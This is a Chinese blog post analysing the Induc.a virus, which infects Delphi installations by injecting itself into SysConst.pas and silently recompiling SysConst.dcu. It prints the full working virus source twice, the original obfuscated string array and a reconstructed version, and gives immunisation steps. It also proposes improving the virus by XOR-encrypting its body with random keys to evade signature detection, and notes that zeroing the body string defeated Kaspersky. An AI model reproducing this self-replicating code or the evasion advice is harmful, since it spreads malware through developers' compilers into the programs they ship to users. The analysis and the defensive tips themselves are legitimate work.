專門針對delphi的,嵌入源碼的病毒
如果在 X:/Program Files/Borland/Delphi7/Lib 發現有 SysConst.bak (12KB) 和
SysConst.dcu (18KB),那麼恭喜你,中招了。
http://topic.csdn.net/u/20090817/20/102ba10b-82ae-472d-a0be-6d54ce6a331b.html
http://bbs.2ccc.com/topic.asp?topicid=330829
http://bbs.2ccc.com/topic.asp?topicid=330760
http://www.delphibbs.com/delphibbs/dispq.asp?lid=3972581
好有趣的感染方式,夠可愛了~
今天羣的人發了一條鏈接,關於許多人SysConst.dcu被感染.
被感染後的SysConst.dcu體積是18KB左右,正常的SysConst.dcu是12KB左右.
偷偷瞄了一下偶的SysConst.dcu,竟然被感染了,而且潛伏的時間應該超過4個月~
只是前兩天卡巴更新病毒庫,卡巴報病毒名爲:Virus.Win32.Induc.a,大家才發覺有所不妥.
uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'= #36 thens:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software/Borland/Delphi/$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)= 0 then beginr:=$$;i:=',
'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$/source/rtl/sys/SysConst$+',
'$.pas$,r+$/lib/sysconst.$,$"$+r+$/bin/dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.
稍微還原一下就是
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s=#36 then s:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software/Borland/Delphi/'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c<>#0 do
begin
r:=r+c;
inc(i);
end;
re(r+'/source/rtl/sys/SysConst'+'.pas',r+'/lib/sysconst.','"'+r+'/bin/dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
大概分析一下原理
病毒的主體代碼,首先執行後從註冊表"HKEY_LOCAL_MACHINE/Software/Borland/Delphi/"的RootDir值下讀取Delphi路徑.
然後再讀取delphi路徑下的/source/rtl/sys/SysConst.pas文件,循環讀取直到implementation行.然後跳出循環,下面開始輸出惡意代碼.保存文件後,最後使用MoveFile函數將原來的SysConst.dcu命名爲SysConst.bak,最後使用CreateProcess函數隱藏調用dcc32.exe編譯被感染後的SysConst.pas單元文件爲SysConst.dcu.獲取原文件時間,修改被感染後文件的時間,所以從文件時間上看不出任何變化.
被感染後的編譯環境只要加入SysUtils單元所編譯的任意可執行文件都會成爲病毒載體,感染Delphi下的編譯環境~
從代碼可以看得出,作者用意不在破壞,而是靜默無聲無色地實現感染,一次又一次的感染,不斷地傳播代碼的主體.
稍微推測一下作者,不像國人的作風,國人稍微找到一丁點可以利用的東西,肯定借題發揮.不斷地XX轉化爲利益.
就算不爲利益,肯定很炫耀地貼上by xxx,好讓全世界都知道是他弄的.
從數組變量命名爲sc,不難想象,其實應該是Source Code的縮寫,像老外作風,覺得作者應該是國外的.
而且作者很低調,似乎只是想實現自己的一種自我價值.享受着精神上的價值,不過也可以說是惡作劇.
還好沒有加入其它更邪惡的代碼,要是弄一個下載者功能進去,又開始無敵了~
通過感染源文件實現傳播,感染確實有那麼一點點新穎,以前有想過,不過感覺作者實現得很好.
主動防禦的出現確實抹殺了不少病毒和木馬之間的生存空間,起碼傳統上的幾乎無一倖免.
傳統上的傳播已經江郎才盡,能發揮的都發揮了,只有其他更多種多樣的途徑上傳播纔是王道.
感染源文件,那樣可委屈那些開發人員的,好不容易寫出一套程序,編譯後併發布,卻要揹負着植入惡意代碼的嫌疑,真是悲哀~
而且稍微補充一下這個XX的不足
1.主體代碼用字符串數組的方式保存,隨便用一些十六進制編輯軟件都能看見主要代碼,容易泄漏技術細節.
2.因爲字符串內包含'符號會導致編譯衝突.所以作者弄了一個x函數,本意是將字符串內的$替換爲'符號.
結合以上兩點,可以考慮用簡單的xor異或加密的方式保存主體代碼.而且密鑰方面可以隨機改變一下.
我嘗試將被感染後的程序內的主體字符串代碼填充爲00,然後保存後,卡巴大叔不殺了,哈哈~
可以看得出,卡巴是通過特徵碼查殺技術,假如將那段主體代碼每次隨機加密保存,不知道卡叔如何對付呢?應該會用上啓發式查殺,哈哈~
注意,就算恢復回原來的SysConst.dcu文件,但是那些被感染過的程序再次執行,還會再次被感染.
暫時免疫方法:恢復後,設置SysConst.dcu文件屬性爲只讀,並且保留SysConst.bak文件或者創建SysConst.bak名字的文件夾.
---
本文章使用“國華軟件”出品的博客內容管理軟件MultiBlogWriter撰寫併發布